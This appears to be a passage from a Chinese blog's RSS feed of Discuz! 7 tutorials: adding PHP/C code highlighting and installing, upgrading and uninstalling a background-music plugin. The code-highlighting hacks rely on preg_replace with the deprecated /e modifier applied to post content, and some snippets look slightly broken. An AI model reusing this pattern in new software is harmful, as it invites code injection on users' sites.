            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}

function _stripslashes($string) {
    if(is_array($string)) {
        foreach($string as $key => $val) {
            $string[$key] = _stripslashes($val);
        }
    } else {
        $string = stripslashes($string);
    }
    return $string;
}

另外应用下的include目录下还有一个mysql数据库类，可以简单地使用discuz的，这里不再帖出了。

通信成功：
app_communication

若出现UCenter应用“正在连接…” ，一般是由于数据库配置不正确导致的。
应用通讯失败的排查方法

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/php/discuz/ucenter-application-developing-note.html/feed 2 discuz7.1php、C语言代码高亮方法 http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html#comments Sat, 07 Nov 2009 11:21:17 +0000 荒野无灯 http://www.hacklog.cn/?p=2993 1，修改/include/discuzcode.func.php
在

1
2
3
4
5
6
7
8
9
function codedisp($code) {
    global $discuzcodes;
    $discuzcodes['pcodecount']++;
    $code = dhtmlspecialchars(str_replace('\\"', '"', preg_replace("/^[\n\r]*(.+?)[\n\r]*$/is", "\\1", $code)));
    $code = str_replace("\n", "<li>", $code);
    $discuzcodes['codehtml'][$discuzcodes['pcodecount']] = tpl_codedisp($discuzcodes, $code);
    $discuzcodes['codecount']++;
    return "[\tDISCUZ_CODE_$discuzcodes[pcodecount]\t]";
}

下添加：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
//////Discuz!7.1实现PHP代码高亮  by 荒野无灯   http://www.ihacklog.com//////
require_once('./include/my/geshi.php');


 function PerformHighlightGeshi($content, $options,$lang='php') {
       /* Geshi configuration */
    if (!$geshi) {
     $geshi= new GeSHi();
   $geshi->enable_line_numbers(GESHI_NO_LINE_NUMBERS,1);
}
    $geshi->set_source($content);
  $geshi->set_language($lang);
    $geshi->set_overall_class('codecolorer');
  //  $geshi->set_tab_width($options['tab_size']);

      $geshi->enable_classes();
      if ($options['nowrap']) {
        $geshi->set_overall_style('white-space:nowrap');
      } else {
        $geshi->set_overall_style('');
      }

    if (!is_null($options['strict'])) $geshi->enable_strict_mode($options['strict']);
    if ($options['no_links']) $geshi->enable_keyword_links(false);
    if ($options['inline']) {
      $geshi->set_header_type(GESHI_HEADER_NONE);
    } else {
      $geshi->set_header_type(GESHI_HEADER_DIV);
    }

    $result = $geshi->parse_code();

    if ($geshi->error()) {
      return $geshi->error();
    }


    if ($options['line_numbers'] && !$options['inline'])
 {
      $table = '<table cellspacing="0" cellpadding="0"><tbody><tr><td ';
        $table .= 'class="line-numbers"';
         $table .= '><div>';
      for ($i = 0, $count = substr_count($result, '<br />') + 1; $i < $count; $i++)
    {
        $table .= ($i + $options['first_line']) . '<br />';
      }
      $result = $table . '</div></td><td>' . $result . '</td></tr></tbody></table>';
    }

   $theme = empty($options['inline_theme']) ? 'default' : $options['inline_theme'];
   $css_class = 'codecolorer-container ' . $lang . ' ' . $theme;
      if ($options['noborder']) $css_class .= ' codecolorer-noborder';
      $result = '<div class="' . $css_class . '" ' . $style . '>' . $result . '</div>';
       return $result;
  }


 


function mycodedisp($code,$lang) {
    global $discuzcodes;
    $discuzcodes['pcodecount']++;



      $options['line_numbers']=0;
     $options['inline']=0;
     $options['nowrap']=0;
    $code =PerformHighlightGeshi(str_replace('\\"', '"', preg_replace("/^[\n\r]*(.+?)[\n\r]*$/is", "\\1", $code)), $options,$lang) ;
       
      $discuzcodes['codehtml'][$discuzcodes['pcodecount']] ="<div id=\"code$discuzcodes[codecount]\">$code</div><em onclick=\"copycode($('code$discuzcodes[codecount]'));\">复制".$lang."代码到剪贴板</em>";
         

        $discuzcodes['codecount']++;
        return "[\tDISCUZ_CODE_$discuzcodes[pcodecount]\t]";
}


//////Discuz!7.1实现PHP代码高亮  by 荒野无灯   http://www.ihacklog.com//////

再在这个文件中查找：

1
2
3
4
5
6
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
    global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach;

    if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) {
        $message = preg_replace("/\s*\[code\](.+?)\[\/code\]\s*/ies", "codedisp('\\1')", $message);
    }

在其下加上如下代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
//////Discuz!7.1实现PHP代码高亮  by 荒野无灯   http://www.ihacklog.com//////
    if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/php]') || strpos($message, '[/php]')) !== FALSE) {

        $message = preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "mycodedisp('\\1','php')", $message );

}

  if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/c]') || strpos($message, '[/c]')) !== FALSE) {

        $message = preg_replace("/\s*\[c\](.+?)\[\/c\]\s*/ies", "mycodedisp('\\1','c')", $message );

}
 //////Discuz!7.1实现PHP代码高亮  by 荒野无灯   http://www.ihacklog.com//////

2，下载bb_php.gif 和bb_c.gif图标文件，上传到images/common/目录下。

注意：该页面嵌入了下载文件，请访问 该页面下载该文件。

3，下载下面这个文件夹，解压后上传到/include目录下。

注意：该页面嵌入了下载文件，请访问 该页面下载该文件。

4，修改templates/default/header.htm
在

1
<script type="text/javascript" src="{$jspath}common.js?{VERHASH}"></script>

这一行下面加上如下代码:

1
<link rel="stylesheet" href="include/my/codecolorer.css" type="text/css" media="screen" />

5,到dz后台添加自定义 Discuz! 代码按钮:
discuz_bbcode

php_discuz_highlight

dz_highlight_result

ps:如果插入代码的框想要像我图中所示是一个文本域的话，要修改一下/include/js/post.js ,查找：

1
var promptlang = custombbcodes[tag]['prompt'].split("\t");

将它下面的：

1
str += (promptlang[i - 1] ? promptlang[i - 1] : '请输入第 ' + i + ' 个参数:') + '<br /><input type="text" id="' + ctrlid + '_param_' + i + '" style="width: 98%" value="" class="txt" />' + (i < params ? '<br />' : '');

替换为：

1
str += (promptlang[i - 1] ? promptlang[i - 1] : '请输入第 ' + i + ' 个参数:') + '<br /><textarea id="' + ctrlid + '_param_' + i + '" style="width: 98%" cols="50" rows="5" class="txtarea"></textarea>' + (i < params ? '<br />' : '');

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html/feed 0 discuz背景音乐插件v4.0版 http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html#comments Sun, 23 Aug 2009 03:42:33 +0000 荒野无灯 http://blog.thinkstd.com/?p=2415 discuz官网插件地址：http://www.discuz.net/thread-1327959-1-1.html
示例网站：http://bbs.fengyeting.cn
＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
这是继发布v3.0的又一个版本了
首先感谢各位的支持，本人做这个插件首先的目的完全是出于自己论坛的需要，后来把它发布到了DZ官网，没想到有那么多朋友需要，于是从最初支持discuz6.0 到现在的discuz7.0 ，插件一直在更新和完善中。
感谢各位提出宝贵建议（这里尤其要感谢“蓝忧”同志～～）。
＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

敬告：本插件适用于discuz7.0 GBK版，开发此插件纯属业余爱好,在发布本插件前，我都经过多次测试，一般都不会出现什么问题，但是我并不能保证你在使用过程中不会出现什么问题。在此声明，由于使用本插件造成的任何问题本人不承担任何责任，您使用本插件代表您认可本约定。

＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

discuz背景音乐插件v4.0版 新特性

1，增加了多款漂亮的皮肤，管理员可以后台的背景音乐插件设置里设置皮肤风格。

2，在首页播放器处新增了播放列表，当用户将鼠标悬浮在播放器上时，播放列表出现；当用户移开鼠标时，播放列表自动消失。点击播放列表中相应的歌曲可以播放该项目。

3，打开“音乐盒”时智能播放与停止。
这里由于IE与FIREFOX不是完全兼容，所以分两种情况：
对于firefox用户：
假设首页正在播放音乐，当用户打开“音乐盒”时，自动播放音乐盒里的歌曲，首页的音乐会自动消失，避免两处音乐同时播放；再进入首页时，音乐条会重新出现。

对于IE 用户：
假设首页正在播放音乐，当用户开“音乐盒”时，自动播放音乐盒里的歌曲，首页的音乐会自动暂停，避免两处音乐同时播放；再进入首页时，首页音乐会从刚才暂停处继续开始播放。

3，后台的“背景音乐管理“里增加了显示相应歌曲的用户名的功能，点击相应的用户名可以查看该用户的资料。
4，后台“参数设置”里增加了“皮肤”、“首页播放列表高度” 等选项，并且单位为像素的都去掉了px,大家修改时注意不要加单位。

＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
插件安装要求：

php4.3.0 以上，最好是php5
MySQL 4.3以上，最好是MySQL5

客户端：
microsoft Internet Exploer 6 以上,最好为IE 8
Firefox 2以上，最好为firefox 3

＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

一，安装方法:

0，建议先做好论坛备份(数据库和文件备份）再安装此插件，尽管经本人多次实验，在安装过程中不会造成什么问题。

1，暂时关闭论坛（在DZ后台，“全局”－－＞“站点信息”，在“论坛关闭:”处点选“是”）。

2，进去discuz后台，“全局”–>”站点信息“，将”首页文件名“值设置为 index2.php ,然后用FTP工具连接论坛FTP，将论坛根目录下的index.php文件重命名为 index2.php

3，上传文件，插件的压缩包解压后，有如下文件和目录:
Creative Commons Legal Code.txt （不用上传它） cc协议
皮肤调整参数.txt （不用上传它）这个是你修改播放器皮肤后需要调整个参数说明文件
常见问题.txt （不用上传它）其中列出了常见的一些问题及其解决办法
readme.txt （不用上传它） 这是说明文件
discuz_plugin_bg_music.txt （不用上传它）这个是插件的导入文件
index.php 这个是论坛首页文件
plugins 这个文件里包含插件文件夹bg_music
templates 这个文件夹下包含要替换的论坛模板

如果你用的是flashFXP等FTP工具，那么只要直接全部上传就行了，遇到同名文件，它会问你是覆盖还是跳过，这时你只要选择“全部覆盖”即可。不要担心它会把你的整个目录替换掉，实际上它不会的，它实际上是合并加覆盖，也就是你存在的文件它不动你的（如果有同名的就会问你怎么处理），不存在的它给你加上。 这个问题其实我不说你们也知道，只是说一下，有些朋友不知道，怕出问题，上传插件时一个一个文件地上传，这样效率太低了。这是外话，不说了。

4，导入插件
在后台，“扩展“－－＞“论坛插件”－－＞“导入”，点“浏览”选择discuz_plugin_bg_music.txt这个文件，然后点“提交”，提示导入成功就表示没有什么问题了，事实上这里一般是不会出问题的，除非你以前安装过这个插件然后又没有缷载掉。
导入成功后在““扩展“－－＞“论坛插件”－－＞”设置“里，点”背景音乐管理“来安装插件，这里会建立必要的数据表，提示安装成功就OK啦。
如果出问题，那么有可能是你以前安装过该插件，但是没有完全缷载掉它（相应的表还在数据库里）。关于如何完全缷载掉本插件，下面我有专门说明，这里先不说。

5，插件设置
“扩展“－－＞“论坛插件”－－＞“背景音乐”－－＞“参数设置”：

“是否已经安装插件”： 如果你是升级，那么请确保将该项的值为“是“。

“皮肤“：你可以选择播放器的皮肤，如果你修改了这个，那么到首页看到的播放条可能会上面有不该出现的东东出现，可能是白色的东东，也可能是黑色的。这时，你就要调整“首页播放列表高度”和“首页播放条高度”了，但是这两都加起来不能起来190 。

“背景音乐默认调用ID” ：这个默认为1 ，一般是论坛管理员兼创始人，你也可以把它设置为其它用户，这样首页背景音乐默认就调用的是你设置的那个用户的。如何知道用户的ID？这个我想大家应该都知道，但为了照顾全面，我还是说一下，查看会员信息时，其链接类似于“http://www.yourdomain.com/space.php?uid=1“ 或者“http://www.yourdomain.com/space-uid-1.html” 这里uid后面的数字就是用户ID了。

6,最后别忘记开启论坛哦～

＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

二，升级方法：
这个版本名为4.0，实际上它不是3.0的升级版 ，它是以前改进后的2.0全站播放版的升级版。
为了突出这个版本与以前版本的不同，因此将之命名为4.0版，较之以前的版本有很多改进。

如果你以前安装过“dz_bg_music_playerv2.0_build20090606am_FOR_ie“ 或者其它2.0全站播放版，那么你可以很容易升级到该版本。注意，“bg_music_jiandanbanv3.0modified”不可以直接升级到该版本。

升级步骤：
1，首先在后台关闭论坛，再在后台插件管理处删除这个插件，然后在这里重新导入新版本的插件的导入 文件discuz_plugin_bg_music.txt ，导入成功后可继续下在的操作。

2，删除 论坛根目录/plugins 下的 bg_music 目录.
3，上传插件压缩包里的所有相应文件，全部选择覆盖。这样就OK了。

3最后别忘记开启论坛哦～

＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

三，完全卸载本插件的方法

如果你觉得不需要用这个插件了，你可以按以下方法完全卸载它：

1，首先，到后台关闭论坛,并把首页文件名改回 index.php ，再到论坛插件－－＞“管理”里删除本插件。

2，删除index.php文件，把你的index2.php （这个实际上就是你原来的index.php）重命名为 index.php

3,删除 论坛根目录/plugins 下的 bg_music 目录，
删除 论坛根目录/templates/default目录下的 memcp_music_footer.htm 、memcp_music_admin_header.htm 、 memcp_music_header.htm 这三个文件。

4，用你备份的文件覆盖 论坛根目录/templates/default目录下的login.htm ,header.htm 这两个文件

5，删除插件的表。如果你以后不打算使用本插件了，那么你可能想连表也一并全部删除。
那么你可以到论坛后台的“工具”－－＞“数据库” －－＞“升级” ：
在“Discuz! 数据库升级 – 请将数据库升级语句粘贴在下面” 这句话下面有一个文本域，将下面语句粘贴在这个文本域里：

1
2
3
DROP TABLE `cdb_music_info`;
DROP TABLE `cdb_play_mod`;
DROP TABLE `cdb_user_music`;

注意，其中的cdb_为表前缀，如果你的表前缀不是这个，请替换为你自己的。

然后点击文本域下面那个提交（就是最下在那个提交 ）。
如果提示“Discuz! 数据结构成功升级，影响的记录行数 0，请返回。”表示已经成功删除插件建立的表了。

至此，插件已经完全删除了。
插件下载：
注意：该页面嵌入了下载文件，请访问 该页面下载该文件。
playlist_hover

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html/feed 2 音乐插件如何自己修改模板 http://ihacklog.com/php/discuz/dz-bg-music-plugin-how-to-modify-mb.html http://ihacklog.com/php/discuz/dz-bg-music-plugin-how-to-modify-mb.html#comments Tue, 16 Jun 2009 15:41:05 +0000 荒野无灯 http://blog.thinkstd.com/?p=2364 1，对header.htm
这个文件 在templates\xxxx (这里的xxxx代表你的模板名称)
在大概是第20行

1
<script type="text/javascript" src="include/js/common.js?{VERHASH}"></script>

下加入如下代码：

1
2
3
4
5
6
7
8
9
10
11
<script type="text/javascript" src="./plugins/bg_music/js/sendtoedite.js"> </script>
<script type="text/javascript">
<!--论坛背景音乐

　　if (top.location.href=="{$boardurl}index2.php")
　{　
　top.location.href = "{$boardurl}";
 }
　　
// -->
</script>

如果是3.0版的那个（discuz7.0论坛背景音乐插件v3.0（全站播放,带播放列表））或者是dz_bg_music_playerv2.0_build20090606am_FOR_ie.rar
则是加入这个代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script type="text/javascript" src="./plugins/bg_music/js/sendtoedite.js"> </script>
<script type="text/javascript" src="./plugins/bg_music/js/packed.js"> </script>
<link rel="stylesheet" href="./plugins/bg_music/style.css" type="text/css" media="screen" />

<script type="text/javascript">
<!--论坛背景音乐

　　if (top.location.href=="{$boardurl}index2.php")
　{　
　top.location.href = "{$boardurl}";
 }
　　
// -->
</script>

2，对于login.htm
（这个文件在templates\default下）
大概是在第19-25行：

1
2
3
4
5
6
7
        {if !empty($floatlogin)}
            $('messageright').innerHTML = '<h1><a href="javascript:;" onclick="location.reload()">{lang login_refresh}</a></h1>';
            setTimeout('location.reload()', $mrefreshtime);
        {else}
            $('messageright').innerHTML = '<h1><a href="{echo dreferer()}">{lang login_location}</a></h1>';
            setTimeout("window.location.href='{echo dreferer()}'", $mrefreshtime);
        {/if}

改为：

1
2
3
4
5
6
7
8
    {if !empty($floatlogin)}
            $('messageright').innerHTML = '<h1><a href="javascript:;" onclick="parent.location.reload()">{lang login_refresh}</a></h1>';
            setTimeout('parent.location.reload()', $mrefreshtime);
        {else}
            $('messageright').innerHTML = '<h1><a href="{echo dreferer()}">{lang login_location}</a></h1>';
            parent.location.reload();
            setTimeout("window.location.href='{echo dreferer()}'", $mrefreshtime);
        {/if}

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

随机日志

]]> http://ihacklog.com/php/discuz/dz-bg-music-plugin-how-to-modify-mb.html/feed 0 discuz 7 背景音乐插件之隐藏播放器 http://ihacklog.com/php/discuz/discuz7bg-music-player-how_to-hide-the-player.html http://ihacklog.com/php/discuz/discuz7bg-music-player-how_to-hide-the-player.html#comments Fri, 05 Jun 2009 03:24:18 +0000 荒野无灯 http://blog.thinkstd.com/?p=2318 有网友今天问我如何添加”隐藏播放器”的按钮，我想这个问题在必要写个文章作个说明，可能在以后的版本中会把代码加进去。
修改插件文件index.php
在

1
</head>

前面加上如下代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
   

function openPlayer()
{
document.getElementById('player').style.top ='  <?php echo $musicPlayerTop;?> ';
document.getElementById('plctrlopen').style.display = 'none';
document.getElementById('plctrlclose').style.display = 'inline';
}
function hidePlayer()
{
document.getElementById('player').style.top = '-500';
document.getElementById('plctrlopen').style.display = 'block';
document.getElementById('plctrlclose').style.display = 'none';

}


</script>

再在

1
2
<body scroll="no">
<div id="ajaxwaitid"></div>

下面加上：

1
2
<span id="plctrlclose" style=" position: absolute;background:transparent ;right:10%;top:<?php echo $musicPlayerTop+5;?>px;"><a href="#" onclick="hidePlayer();return false;"><span style="color:green;">隐藏播放器</span></a></span>
<span id="plctrlopen" style="position: absolute; display:none;background:transparent ;right:10%;top:<?php echo $musicPlayerTop+5;?>px;"><a href="#" onclick=" openPlayer();return false;"><span style="color:green;">显示播放器</span></a></span>

这样就可以了。

hide player

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

随机日志

]]> http://ihacklog.com/php/discuz/discuz7bg-music-player-how_to-hide-the-player.html/feed 3 discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放） http://ihacklog.com/php/discuz/discuz70luntanbeijingyinlechajianv20xiuzhengbanzhichiquanzhanbofang.html http://ihacklog.com/php/discuz/discuz70luntanbeijingyinlechajianv20xiuzhengbanzhichiquanzhanbofang.html#comments Sun, 24 May 2009 02:57:09 +0000 荒野无灯 http://blog.thinkstd.com/?p=2099 Discuz!插件发布

discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）[By荒野无灯]

插件名称     discuz7.0论坛背景音乐插件v2.0（修正版，支持全站播放）[By荒野无灯]
适用版本 Discuz!7.0
语言编码 GBK
插件作者 荒野无灯
版权所属 荒野无灯
支持网站 http://www.ihacklog.com
插件简介 是 “discuz7.0论坛首页背景音乐插件[By荒野无灯]（带音乐盒，修正版）2009年03月13日更新”版的升级，

解决在歌曲在首页播放时点击进入版块或查看帖子时音乐就停止的BUG，支持全站播放！可以一边看帖子，一边听歌-_-

What’s new：
解决在歌曲在首页播放时点击进入版块或查看帖子时音乐就停止的BUG，支持全站播放！可以一边看帖子，一边听歌-_-

演示网址(用的是支持全站播放的版本之全站框架版)：
http://bbs.fengyeting.cn/
http://bbs.thinkstd.com/

建议下载dz_bg_music_playerv2.0_build0516pm0856_GBK,
dz_bgmusic_build0516am0839GBK为全站框架版，可能会对SEO有影响，请慎选！

提醒：安装前，请注意备份好数据库和文件!
如果你以前对index.php文件做过修改，请不要上传我压缩包里的index2.php（这个实际就是discuz原来的index.php，只是重命了下名），直接把你服务器上的ind

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

随机日志

]]> http://ihacklog.com/php/discuz/discuz70luntanbeijingyinlechajianv20xiuzhengbanzhichiquanzhanbofang.html/feed 1 Discuz!7.0实现PHP代码高亮[原创] http://ihacklog.com/php/discuz/discuz70shixianphpdaimagaoliang.html http://ihacklog.com/php/discuz/discuz70shixianphpdaimagaoliang.html#comments Sun, 19 Apr 2009 04:27:06 +0000 荒野无灯 http://blog.thinkstd.cn/?p=1719 原创文章（函数phphighlite()来自网络），转载请注明出处。

插件添加步骤如下：
修改include/discuzcode.func.php

查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function codedisp($code) {

        global $discuzcodes;

        $discuzcodes['pcodecount']++;

        $code = htmlspecialchars(str_replace('\\"', '"', preg_replace("/^[\n\r]*(.+?)[\n\r]*$/is", "\\1", $code)));

        $discuzcodes['codehtml'][$discuzcodes['pcodecount']] = tpl_codedisp($discuzcodes, $code);

        $discuzcodes['codecount']++;

        return "[\tDISCUZ_CODE_$discuzcodes[pcodecount]\t]";

}

在下面添加：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//////Discuz!7.0实现PHP代码高亮  by 荒野无灯 blog.thinkstd.cn//////

function phphighlite($code) {
        if(!strpos($code,"<?\n") && !strpos($code,'<? ') && substr($code,0,2) != '<?') {
                $code = '<'.'?'.trim($code).'?'.'>';
                $addedtags = 1;
        }
        ob_start();
        $oldlevel = error_reporting(0);
        highlight_string($code);
        error_reporting($oldlevel);
        $buffer = ob_get_contents();
        ob_end_clean();
        if ($addedtags) {
                $openingpos = strpos($buffer, '?');
                $closingpos = strrpos($buffer, '?');
                $buffer = substr($buffer, $openingpos+1, $closingpos-($openingpos+1)).substr($buffer, $closingpos+5);
        }
        $buffer = str_replace('"', "\"", $buffer);
        $buffer = str_replace('
', '', $buffer);
        return $buffer;
}


function phpcodedisp($code) {
        global $discuzcodes;
        $discuzcodes['pcodecount']++;


        $code = phphighlite(str_replace('\\"', '"', preg_replace("/^[\n\r]*(.+?)[\n\r]*$/is", "\\1", $code)));
       
       
        $discuzcodes['codehtml'][$discuzcodes['pcodecount']] ="<div class=\"blockcode\"><h5>PHP代码:</h5><div id=\"code$discuzcodes[codecount]\"><ol><li>$code</ol></div><em onclick=\"copycode($('code$discuzcodes[codecount]'));\">复制内容到剪贴板</em></div>";
       
       
    //  $discuzcodes['codehtml'][$discuzcodes['pcodecount']] = tpl_codedisp($discuzcodes, $code);

        $discuzcodes['codecount']++;
        return "[\tDISCUZ_CODE_$discuzcodes[pcodecount]\t]";
}


//////Discuz!7.0实现PHP代码高亮  by 荒野无灯 blog.thinkstd.cn//////

查找：

1
2
3
4
5
6
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
    global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach;

    if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) {
        $message = preg_replace("/\s*\[code\](.+?)\[\/code\]\s*/ies", "codedisp('\\1')", $message);
    }

在其下加上

1
2
3
4
5
6
7
//////Discuz!7.0实现PHP代码高亮  by 荒野无灯 blog.thinkstd.cn//////
    if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/php]') || strpos($message, '[/PHP]')) !== FALSE) {

        $message = preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "phpcodedisp('\\1')", $message );

}
//////Discuz!7.0实现PHP代码高亮  by 荒野无灯 blog.thinkstd.cn//////

2.修改include\js\post.js
function wrapTags(tagname, useoption, selection) 修改

1
insertText(text, strlen(opentag), strlen(closetag), in_array(tagname, ['code', 'quote', 'free', 'hide']) ? true : false);

为

1
insertText(text, strlen(opentag), strlen(closetag), in_array(tagname, ['code', 'quote', 'free', 'hide','php']) ? true : false);

查找

1
    lang['e_code'] = '请输入要插入的代码';

在其下加上：

1
lang['e_php'] = '请输入要插入的php代码';

查找

1
2
3
4
    if(wysiwyg) {
                if(cmd == 'code') {
                    text = preg_replace(['<', '>'], ['&lt;', '&gt;'], text);
                }

修改为：

1
2
3
4
    if(wysiwyg) {
                if(cmd == 'code' || cmd == 'php') {
                    text = preg_replace(['<', '>'], ['&lt;', '&gt;'], text);
                }

3.修改模板文件
在 \templates\default\seditor.htm
中查找：

1
2
3
<!--{if in_array('code', $seditor[1])}-->
        <a href="javascript:;" title="{lang e_code}" class="tb_code" onclick="seditor_insertunit('$seditor[0]', '[code]', '[/code]')">Code</a>
    <!--{/if}-->

在其下添加：

1
2
3
    <!--{if in_array('php', $seditor[1])}-->
        <a href="javascript:;" title="{lang e_php}" class="tb_php" onclick="seditor_insertunit('$seditor[0]', '[php]', '[/php]')">PHP</a>
    <!--{/if}-->

在 \templates\default\css_seditor.htm
中查找：

1
    .editor_tb div a.tb_code { background-position: -3px -461px; }

在其下加上：

1
    .editor_tb div a.tb_php { background-position: -3px -521px; }

在 \templates\default\css_editor.htm 中查找：

1
    #e_cmd_code { background-position: 0 -461px;}

在其下加上：

1
    #e_cmd_php { background-position: 0px -521px; }

最后，进入DZ后台，“工具”->”数据库“->”升级 “,
在”Discuz! 数据库升级 – 请将数据库升级语句粘贴在下面“下的的框中粘贴以下代码(注意，cdb_bbcodes中的cdb_请更改为你自己的表前缀)：

1
2
INSERT INTO `cdb_bbcodes` (`id`, `available`, `type`, `tag`, `icon`, `replacement`, `example`, `explanation`, `params`, `prompt`, `nest`, `displayorder`) VALUES
(25, 2, 1, 'php', 'cmd_php', '', '', '插入php代码', 1, '', 1, 10);

再点击最下面那个”提交“按钮。

将\images\common\editor.gif替换为这个
好了，现在，进入DZ后台，“界面”->“编辑器设置”->“ Discuz! 代码”
看下php标签是否躺在那了？在去前台发个帖子看下。

我本地测试的效果：
test

编辑器

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/php/discuz/discuz70shixianphpdaimagaoliang.html/feed 8